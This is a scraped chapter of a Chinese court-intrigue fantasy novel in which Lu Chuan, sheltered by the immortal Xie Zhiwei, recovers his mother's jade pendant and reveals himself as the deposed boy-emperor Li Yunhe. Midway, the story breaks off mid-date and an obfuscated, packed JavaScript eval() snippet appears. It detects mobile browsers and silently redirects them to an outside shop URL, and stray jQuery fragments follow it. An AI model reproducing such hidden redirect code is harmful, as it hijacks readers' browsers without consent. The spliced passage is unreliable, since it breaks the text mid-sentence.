解知微兴冲冲推开院门的时候,陆川正蹲在栅栏边喂鸡,对,没错,就是喂鸡,而且他每次只扔两粒米,确认这两只鸡都吃到了才会继续往里扔。
两只鸡盯着陆川手中装生米的碗眼冒精光,恨不得飞出来对着他的脑袋狠狠来两下。
听到门被推开的响声,陆川转头对上笑容灿烂的解知微,心情也跟着好起来,“仙尊心情不错?发生什么好事了吗?”
“嗯!”解知微神色轻快,衣角随着她的脚步翻飞,像朵朵白莲绽开。
走到陆川身边,解知微才发现他额头的纱布已经取下,之前狰狞可怖的伤口已经完全愈合,那张眉目清朗疏阔的脸完全露了出来。
“师尊留下来的药膏用过了?”她问道。
“嗯,楚仙尊的药果然是神药。”就是过程略有些痛苦。
陆川淡然一笑,转身就捏了两粒米朝栅栏里扔去,准确地砸到了那只公鸡的嘴喙上又不知弹到了哪里。
“喔!喔喔!”
“咕咕!”
两只鸡发出了不满的抗议声。
解知微凑过去,抓了一把米洒进去,两只鸡顿时撒了欢儿地开始点头啄地。
她觉得有趣便站着仔细观察,忽然角落里有什么东西吸引了她的目光。
“嗯?”
解知微发出一声疑问,犹豫一下抬脚跨进了栅栏。
陆川看着解知微径直走到角落里蹲了下来,似乎在扒拉什么,便喊道:“怎么了?”
解知微顿了一下,突然拿着什么朝陆川跑过来,两只鸡顿时吓得扑扇着翅膀散开。
“看呐!它下蛋了!”解知微手里拿的是两个匀称的棕红色鸡蛋,粘着点土屑。
陆川往后仰了一下,第一反应是幸好蛋还算干净,没有沾什么奇怪的东西,紧跟着的便是一种非常复杂的说不上来的情绪,有点意外又有点喜悦。
自己有一天居然会因为一只母鸡下了两个蛋而感到喜悦,陆川不可置信地笑了出来,“是啊,居然下蛋了。”
解知微捧着蛋小心翼翼从栅栏里出来,喃喃自语,“那晚上就煮了吃掉好了。”
“……”
陆川失笑,“我还以为你会让它们把蛋孵出来,养小鸡。”
“你要养吗?”解知微抬头看他,似是从没想过这个问题,又有些苦恼道:“那样的话是不是要给它们做个房子?”
要养吗?怎么养?他有时间吗?
陆川垂眼看着解知微认真思考的样子,嘴角的笑意慢慢退去。
影三和高明碰头后应该就会着手来接他了,他不可能在这个山上躲一辈子。摄政王不是明君,若是让他做了安顺国的国君,想必南部便会被皇城彻底放弃,到时候疫灾蔓延,流民四散,就算皇城能自保,周边几个对他们虎视眈眈的邻国也不会放弃这个进攻的绝佳机会。
不能再拖下去了。陆川开口,但还未发出声音,解知微突然抬头一脸神秘道:“对了!给你看个东西!”
好不容易鼓起的勇气瞬间被打散,到了嘴边的告别化成一个温柔的笑容,他轻声问道:“什么?”
“等一下啊!”解知微又把鸡蛋重新放回栅栏的角落,随手捡了一点散在地上的稻草和细枝往上盖了一下。
从栅栏里出来,她又掐了个净咒把身上的脏污去掉,似乎觉得还不够干净,她又跑到水缸边舀了瓢干净的水净手。
陆川跟在解知微身后,看着她一连串的举动实在想不通她要干嘛,等她终于把手也洗干净后还是忍不住问道:“你说要给我看——”什么?
没有说完的话卡在了喉间,解知微手中是一块绑着红绳的云纹玉佩,流苏跟着解知微的动作微微晃动。
陆川看着这块玉佩,心脏跟着停跳了一拍。
“我把玉佩拿回来了。”解知微笑着牵起陆川的手,把玉佩放进他的掌心,“不好意思啊,擅自动了你的东西,现在物归原主啦。”
陆川看着手中的玉佩,眼中闪过一丝痛色,沉声道:“我说过已经不需要……”
“我知道你跟当铺掌柜说过不会去赎,”解知微低下头,有些低落道:“但是如果我不把它当掉,你应该不会动这块玉佩。”
陆川装作不以为意的样子,嗤笑一声道:“不是什么重要的东西,命都要没了,还在乎一块石头吗?”
“可是你在当铺都没有拿起来看就确认了那是你的玉佩,”解知微心中更加愧疚,眉心拧紧,道:“如果不是因为日日佩戴,它的样貌已经完全刻进了心里,你又怎么能一眼就确认这是你的玉佩呢?”
“刚才也是,我一拿出来你就认出来了。”
那一瞬间陆川眼中的愕然是骗不了人的,他一眼就能认出这块玉佩。
陆川张口想要反驳,却说不出一句话来,他看着手中洁白无瑕的云纹玉佩,有些发怔。
这是他母后跳进月华池时佩戴的玉佩。
————————
明德皇后是在一个月光皎洁的夜晚,自己沉进后花园的月华池中的,等人发现的时候已经是第二天辰时了。
宫女们清晨准备伺候明德皇后更衣时发现她不在寝殿的任何地方,慌忙找了许久才在月华池看到浮在水面上面容平静带着一点笑意的尸体,那块云纹玉佩就挂在她腰间,红色的流苏顺着水流沉沉浮浮。
第一个发现的人是年仅五岁的太子。他是来给母后请安的,但是宫女们说明德皇后不见了,他便跟着去找,才五岁的小太子并不知道一个被禁足的先皇后失踪意味着什么,他只记得父皇生前总爱邀母后去月华池边赏月,母后近来又总跟他说许久没有梦到父皇,非常想念父皇之类的话,所以他下意识地就觉得母后一定是去了月华池。
明德皇后确实在月华池,但是她安安静静地飘在水面上,一身月白色的袍子,若不是那块玉佩上绑的红绳异常夺目,小太子都不会注意到那块玉佩。
泡了一晚的尸体除了面色苍白一些远看和常人没有什么不同,尤其明德皇后神色非常安详,她飘在池面上的样子就像睡着了一样,跟在小太子身后的宫女尖叫一声跌坐在地上。
小太子有些不快地瞥了她一眼,指了指飘着的明德皇后,命令道:“把母后唤醒。”
宫女一脸惊恐地摇头,小太子立刻沉下脸来要斥责她,但宫女却在下一刻崩溃地爬起来尖叫着跑走了。
小太子非常生气,他的母后还在月华池上睡着呢,水里太冷了,寝殿的床塌才应该是休息的地方。
小太子决定自己去喊母后,他朝月华池走去,但只走了两步便被一只温暖的手捂住了眼睛,那只手很大,把小太子的视线遮挡得严严实实,他停下脚步,摸着这只手有些不确定道:“皇叔?”
头顶传来一声轻笑,男人的嗓音温润柔和,“明德皇后想要一个人安静一会儿,先和皇叔去下会儿棋好不好?皇叔找不到比你更厉害的对手了。”
“嗯……那好吧,”小太子犹豫了一下点点头,又赶紧道:“那一会儿让桂香来喊母后,不可以睡太久,水里冷,会生病的。”
桂香是刚才吓得逃跑的宫女,说到这里小太子还有些生气,“我刚才让她去喊母后,她不知为什么就跑了,这真是太没规矩了,等她回来我要好好说说她,下次一定不可以这样了。”
“好,皇叔替你说她。”男人一把将小太子抱起,便要离开,小太子还想回头再看一眼睡着的母后,但是男人腾出一只手将他的脑袋轻轻转了过来,“乖,不要看。”
嗯,明德皇后的睡容除了父皇,任何人都不可直视,小太子心中这么想着便听话地转过头,正对上男人绿色如同宝石一般绚丽的眼睛。
元和三年,七月十
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17683344|204246||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
七,承乾帝因病崩逝。
元和三年,八月十七,明德皇后哀思难抑,忧思成疾,终追随先帝而去,崩于中宫。
国不可一日无君,群臣殿议后决定让年仅五岁的太子历云壑登基,改年号为景宁。安朔王厉朔,任摄政王,辅助新皇共同治理朝政。
景宁元年,新皇登基翌日,早朝未临紫宸殿,摄政王主持朝会,群臣私议,数名文臣死谏请新皇上朝,未果,早朝暂停三日。
前朝群臣激愤了一上午,后宫也乱作一团。
新皇昭成帝不见了。
历云壑躲在东宫衣橱的暗格里,听外面的宫女太监到处奔跑呼喊他的新名——君上。
有几次衣橱被打开,但是没人发现暗格,衣橱又被重新关上。
历云壑抱着膝盖把脸埋进去,不想再听到任何的声音。君上不是他的名字,只有父皇才会被人叫君上。
找不到人的宫女太监纷纷离开去别的地方找他,四周渐渐安静下来,天地间仿佛只剩下他一个人。
“叩叩。”
不是衣橱的柜门,而是暗格的门被敲了两下。
历云壑仍旧把头埋在膝盖里一动不动。
“叩叩”
“壑儿在不在?”
是皇叔。
历云壑抬起头来,但没有立刻打开暗格。
“壑儿要是在的话,敲三下门板回应一下皇叔好不好?”
历云壑犹豫了一下还是没动。
“壑儿不在这里吗?”
在,但是历云壑不想说话,他扣了两下手掌心。
“壑儿去哪儿了,皇叔好担心,他有没有饿着,冻着?”
厉朔每问一声,历云壑就摇摇头,但始终没有打开暗格。
“现在这世上只有壑儿同皇叔最亲近了,但是壑儿也不要皇叔了……”
历云壑猛地抬头,没有,他没有不要皇叔。
外面安静下来,厉朔似乎离开了东宫。
历云壑有些焦急起来,皇叔,他也只有皇叔了!
犹豫了一下,历云壑还是打开了暗格,刺眼的光线瞬间射了过来,历云壑被刺得紧闭双眼,但心中又害怕皇叔真的已经离开,便摸索着往外爬,下一刻,眼睛上传来温暖的触感——
“壑儿让皇叔好找。”温润的声音中带着点笑意。
历云壑愣了一下,摸了摸盖在眼睛上的大手,确认来人是在左边后,他一下子扑了过去,冲进一个更加温暖的怀里,死死抓住对方的衣服,把脸埋进去,放声大哭起来。
头上传来一声极轻的叹息,历云壑感觉自己也被紧紧抱住,此刻的他感觉自己是被狼群无情抛弃的幼仔,只有厉朔选择了留下来陪他。
厉朔是他的救命稻草。
————————————
“君上,影五查到了当年引荐术士进宫为先皇炼丹之人的线索,此人与摄政王来往密切。”
“君上,十五和影四潜入摄政王府,发现了大量违禁丹炉和蛊毒巫蛊之物。”
“君上,影三截获摄政王与蛊毒炼药术士来往的书信,太医院和御膳房送来的东西务必让人试过之后才可入口。”
“君上,已确认先皇服用的长生丹中有慢性剧毒食魂散,长期服用者会失掉心智、六亲不认,最终心内衰竭,七窍流血而亡。”
“君上,已查到当年先皇后宫中疯掉的婢女翠竹的下落,确认先皇后落水前一日曾单独与摄政王长谈。”
“君上……”
“陆公子?”
陆川回过神来,解知微正一脸担忧地看着他,他慢慢抓紧了手中的玉佩,眼神渐渐清明、坚定。
“历云壑。”
“什么?”
“我是安顺国君主,历云壑。”
黄粱一梦终须醒,镜花水月总成空。